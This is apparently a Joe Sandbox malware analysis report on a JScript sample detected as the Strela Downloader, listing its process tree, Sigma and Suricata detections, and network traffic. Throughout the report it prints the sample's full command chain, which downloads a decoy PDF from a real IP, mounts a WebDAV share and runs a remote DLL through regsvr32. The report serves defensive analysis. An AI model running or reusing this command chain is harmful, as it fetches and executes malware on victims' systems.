Edit tour

Windows Analysis Report
19726179161917216961.js

Overview

General Information

Sample name:	19726179161917216961.js
Analysis ID:	1588798
MD5:	cdc07d98937835b94957235e65a5fd1f
SHA1:	2600e051cb34fccc62ba98cc85094709017343d6
SHA256:	3e8b6c21640adac8c922e1308c7cd45bb478b4a9f829f52b559725ea531f4e9f
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5260 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19726179161917216961.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1124 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30514958631640.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5656 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5536 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5260 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

cmd.exe (PID: 7064 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 1848 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

AcroCEF.exe (PID: 7208 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7396 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2148 --field-trial-handle=1740,i,15317889719654110076,16104264370723604685,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

svchost.exe (PID: 7268 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5260	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30514958631640.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1124, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5536, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30514958631640.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1124, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5536, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19726179161917216961.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19726179161917216961.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19726179161917216961.js", ProcessId: 5260, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 1848, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30514958631640.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30514958631640.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19726179161917216961.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5260, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30514958631640.dll, ProcessId: 1124, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30514958631640.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30514958631640.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19726179161917216961.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5260, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30514958631640.dll, ProcessId: 1124, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30514958631640.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30514958631640.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19726179161917216961.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5260, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30514958631640.dll, ProcessId: 1124, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30514958631640.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30514958631640.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19726179161917216961.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5260, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30514958631640.dll, ProcessId: 1124, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30514958631640.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30514958631640.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19726179161917216961.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5260, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30514958631640.dll, ProcessId: 1124, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19726179161917216961.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19726179161917216961.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19726179161917216961.js", ProcessId: 5260, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30514958631640.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1124, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5536, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7064, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1848, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7268, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7064, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1848, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30514958631640.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30514958631640.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19726179161917216961.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5260, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30514958631640.dll, ProcessId: 1124, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:38:31.075281+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:38:33.524400+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:38:31.075281+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 19726179161917216961.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 19726179161917216961.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.5:49704 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:38:30 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

